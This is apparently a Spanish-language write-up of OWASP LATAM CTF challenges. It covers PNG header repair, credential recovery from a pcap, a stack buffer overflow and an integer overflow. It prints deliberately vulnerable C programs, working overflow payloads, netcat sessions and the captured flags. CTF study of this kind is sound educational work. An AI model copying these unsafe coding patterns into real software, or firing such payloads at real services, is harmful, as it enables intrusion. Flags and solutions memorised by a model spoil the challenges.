Tenemos un archivo: intento.img.gz. Reviso su hexdump (no hay nada raro en los costados) y le diré a binwalk que extraiga lo que pueda -e, y que lo haga recursivamente -M.
Ese archivo swp tiene truco: deja a entender que «estoesunlio.png» fue editado con VIM y que el .swp es un búfer que vim dejó y no pudo cerrar. Podemos buscar cómo restaurarlo com vim -r, pero este niega poder hacerlo.
Necesitamos ver qué tiene el archivo por dentro. Para poder tener noción de la estructura, necesitamos ver también un PNG sano, no importa cualquiera.
Algo llamativo fue que los magic numbers no coincidían. La estructura del resto del archivo era similar (lo cual descarta byte swaps, cifrados como XOR o cambio de endianidad), pero más tarde me di cuenta que a nuestro archivo no le habían cambiado los magic numbers: se los habian quitado.
Instalé rápidamente el primer editor hexadecimal que vi en Internet y le puse los magic numbers que faltaban: 89 50 4E 47.
Y conseguimos recuperar el archivo.
No tan distintos
Nos dan un pcap que abrimos con Wireshark. Como suelen estar llenos de ruido (en los CTF tenemos que asumir que los pcaps siempre estarán llenos de basura y no nos servirá recorrerlos a mano) tenemos que aprender a usar filtros.
Revisando muy rápidamente a mano vemos algún tráfico HTTP.
vemos que han iniciado sesión con una contraseña Pa$$word4web. y piden un archivo que podemos extraer con Export Packet Bytes.
Las passwords anteriores no sirven, asi que continuamos revisando el pcap. Mientras veo un paquete HTTP sospechoso al final, quito el filtro y me entero que hay tráfico de otro tipo: FTP.
La negociación FTP es sencilla y podemos verla directamente desde ls lista de paquetes.
la contraseña es Pa$$word4ftp. ahora, y la sesión deja entender que la primera contraseña y esta están relacionadas, y acordándome de otro CTF, podríamos intentar seguir ese patrón con el zip.
Esta vez, gracias a que tenemos el código fuente, podemos entender lo que hace el programa y cómo podemos atacarlo.
Este es el programa: (le hice una modificación menor)
/*
gcc -fno-stack-protector over_easy.c -o over_easy -m32 -no-pie
*/
#include <stdlib.h>
#include <stdio.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
int cookie;
char buf[80] = "Hola, bienvenido al OWASP LATAM Tour!!!\n\n";
printf(buf);
printf("buf esta en %08x y cookie en %08x\n y la flag es....\n", &buf, &cookie);
printf("give me your input!!! ");
gets(buf);
printf("cookie=%08x", cookie);
if (cookie == 0x41424344)
{
setreuid(geteuid(), geteuid());
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
}
}
Ejecutemos el programa:
~/Descargas/ctf >>> ../over_easy
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ff85932c y cookie en ff85937c
y la flag es....
give me your input!!! lol
El programa al ejecutarse nos pide que ingresemos algo. Yo agrego algo random y el programa termina sin más.
Leyendo el código veo que la entrada se guarda en la variable buf (que tiene como tamaño fijo 80 caracteres). Y por las direcciones que se muestran, puedo deducir el tamaño de buf desde el exterior: (0xff85932c-0xff85937c) == (0x50) == (80)
Viendo la fuente, el reto nos pide que escribamos ‘ABCD’ en cookie y como este va después de buf, entonces tenemos que conseguir desbordar buf. buf tiene 80 caracteres (los cuales rellenaremos con A), asi que tenemos que escribir 84 siendo estos 4 últimos ‘ABCD’: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
El primer intento no funciona:
~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ff8a405c y cookie en ff8a40ac
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
No sé como estara cookie, asi que edito mi copia en C del programa, le agrego un printf para ver qué tiene cookie y lo ejecuto en mi máquina:
~/Descargas/ctf >>> ../over_easy
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en fff0eccc y cookie en fff0ed1c
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
cookie=44434241%
Mmm, tenía que salir 41424344 pero sale 44434241. Quizás un byte swap? O algo que no haya considerado? Como tenemos prisa, cambiaremos el orden a mano.
Cambio el orden y ahora queda así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ffa0412c y cookie en ffa0417c
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
La flag es: owasp{tu_primer_buffer_overflow?}
Si, fue mi primer buffer overflow que hice a mano 🙂
Into the flow
Otro ejercicio divertido, pero este es integer overflow.
Esta es la fuente:
/*
gcc -fno-stack-protector intover.c -o intover
*/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void check(int n)
{
if (!n){
setreuid(geteuid(), geteuid());
printf("[+] Logrado \n");
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
}
else
printf("nop, el número %d no era...\n", n);
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Hola, bienvenido al OWASP LATAM Tour\n");
printf("Adiviná en que número estoy pensando? ");
long int a;
scanf("%ld", &a);
if (a == 0)
printf("Sin trampas...\n");
else
check(a);
return 0;
}
Para no hacer largo el cuento, hay varios detalles que llaman la atención:
el número que debemos envenenar pasa por main como long int pero pasa por check como int 👀
el if(!n) de check(n) no se entiende a un principio, pero podemos desdoblarlo a if(n==0) y esto nos ayuda a entender mejor.
Leyendo sobre límites en C, vemos que necesitamos un número que:
Sobrepase int
Que no sobrepase long int, y
Que en int sea 0.
~/Descargas/ctf >>> nc intover.ctf.owasplatam.org 10003
Hola, bienvenido al OWASP LATAM Tour
Adiviná en que número estoy pensando? 4294967296
[+] Logrado
La flag es: owasp{!s_4n_integ3r_overfl0w!!}